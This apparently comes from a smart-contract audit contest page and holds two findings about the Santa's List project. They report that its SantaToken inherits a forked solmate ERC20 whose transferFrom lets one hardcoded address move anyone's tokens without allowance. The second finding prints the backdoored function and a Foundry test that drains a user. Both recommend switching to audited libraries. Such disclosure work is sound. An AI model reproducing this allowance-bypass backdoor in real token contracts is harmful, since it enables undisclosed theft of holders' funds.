The README describes SantaToken as "a typical ERC20" based on solmate, whose only changes are that SantasList alone can mint and burn. In a typical ERC20, transferFrom moves another holder's tokens only up to the allowance that holder granted the caller.
The backdoor reaches the deployed contract in four steps:
src/SantaToken.sol imports @solmate/src/tokens/ERC20.sol and does not override transferFrom.
The project's foundry.toml remaps @solmate to lib/solmate-bad. .gitmodules fetches that path from github.com/patrickalphac/solmate-bad, not from upstream solmate.
That fork's transferFrom opens with // hehehe :) and an Arbiscan link. When msg.sender is 0x815F577F1c1bcE213c012f166744937C889DAF17, it then moves the balance and returns without reading or decrementing any allowance.
The same address is the @author of SantasList.sol.
The address is compiled into the deployed SantaToken runtime bytecode, so the backdoor ships in the in-scope contract and not only in lib/.
Likelihood:
The attack happens when the holder of one specific key, 0x815F577F1c1bcE213c012f166744937C889DAF17, calls transferFrom. No other precondition applies. The "hehehe" comment, the embedded Arbiscan link and the match with the contract's declared author show the branch was planted deliberately. Arbitrum is the stated deployment chain.
Victims exist in normal operation. Every EXTRA_NICE collectPresent mints 1e18 SantaToken to a user.
Impact:
That address can move any holder's full SantaToken balance to any address, at any time, with zero allowance. This is direct theft of user funds. In the PoC, alice and bob are both drained to 0, the backdoor holds the entire 2e18 supply, and both allowances are still 0 afterwards.
The stolen tokens can be spent in the protocol: the backdoor buys itself an NFT with them through buyPresent. The power is undisclosed. Neither the README's role list nor SantaToken.sol reveals it, and auditing SantaToken.sol on its own cannot reveal it.
The PoC runs on the project's own build configuration, which remaps @solmate to lib/solmate-bad. alice and bob are checked EXTRA_NICE twice and collect after Christmas, so each holds 1e18 SantaToken.
test_backdoorAddressIsCompiledIntoDeployedSantaToken: the 20-byte address is found in SantaToken's deployed runtime code, at byte offset 1155.
test_baseline_transferFromWithoutAllowanceReverts: an ordinary address with zero allowance cannot pull alice's tokens.
test_backdoorDrainsAllHoldersWithoutAllowance: the hardcoded address calls transferFrom on alice and bob with zero allowances. Both calls return true, both victims go to 0, and the allowances stay 0. The backdoor then spends the loot through buyPresent and receives an NFT.
test_backdoorMovesVictimTokensToArbitraryAddress: one call moves alice's tokens straight to a third address.
File test/PoC_SL-05.t.sol:
Run from the repository root:
Result:
Build SantaToken on an audited ERC20. The OpenZeppelin 5.0.0 ERC20 is already a dependency of this project, defaults to 18 decimals, and has the same _mint(address, uint256) and _burn(address, uint256) internals. The alternative is to repoint the dependency at upstream solmate. Either way, delete lib/solmate-bad.
## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.